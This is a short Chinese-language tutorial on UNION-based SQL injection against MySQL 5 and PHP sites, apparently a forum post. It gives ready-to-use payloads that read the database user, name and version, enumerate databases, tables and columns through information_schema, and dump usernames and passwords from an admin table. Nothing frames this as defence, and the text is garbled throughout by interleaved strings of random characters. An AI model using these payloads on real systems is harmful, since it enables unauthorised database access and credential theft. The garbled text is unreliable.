2 O, r+ j, j6 i4 B4 J; F8 s7 b0 B5 y教程内容:Mysql 5+php 注入0 \7 S* {4 G9 E! ~& o
8 `" s* z- }' J$ }
$ V) j8 I; W5 I6 b6 k3 G) l) u Y0 b( e! s3 C
一.查看MYSQL基本信息(库名,版本,用户)
) }- y; ^+ W* l" X S
* x" ] H) P+ u. Q* A% y3 band 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*+ r7 w4 W( a+ S3 [
) k& n) K, _) |$ e! a9 i- t$ ]+ u二.查数据库* J0 v7 o5 @$ z; D* ~
; O. c, w) t! j! Q) K
and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8 from information_schema.SCHEMATA limit 1,1/*
& y5 z1 ~+ I% H/ S/ H+ A' llimit 从0开始递增,查询到3时浏览器返回错误,说明存在2个库。
% G4 i5 E: M8 D" C+ I
6 ?6 z6 O! G- Z( H: R; S: H) X三.暴表7 g! H! E& J" T& t | L
8 X, A& x9 ` M$ q. S' ~) s# i
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
- ^. p# M h, B& X
" C& X1 L: W, t3 R6 u' Rlimit 从0开始递增,查询到14时浏览器返回错误,说明此库存在13个表。( O8 Z3 C/ ^, ]; O; g
& D+ k$ ]9 ^1 K3 A
四.暴字段" O0 y( Q! w1 o4 d6 f
$ _, I# U, C: i/ q, X+ I y8 D/ qand 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*# i4 R7 n# o" x
' M4 P8 o; j$ B& O7 ~! g
limit 从0开始递增,查询到时浏览器返回错误,说明此表存在N-1个列。
$ r2 G- R% E* W0 H# _+ }
9 G% G) H& Y: L, y7 P五.暴数据8 k1 ?" H4 o$ ^- k7 @
$ \4 s- e) W- c0 T8 l8 B
and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*3 q2 }7 i& f" V6 x9 h( ^: N1 n# M" B
6 Q! j+ w+ \8 @5 [% V7 @, w2 M' E j% ^/ C, c; d
这里直接暴明文的密码,大多时候我们遇到的是MD5加密之后的密文。* e' S5 J0 }; |$ [2 {( U+ f
|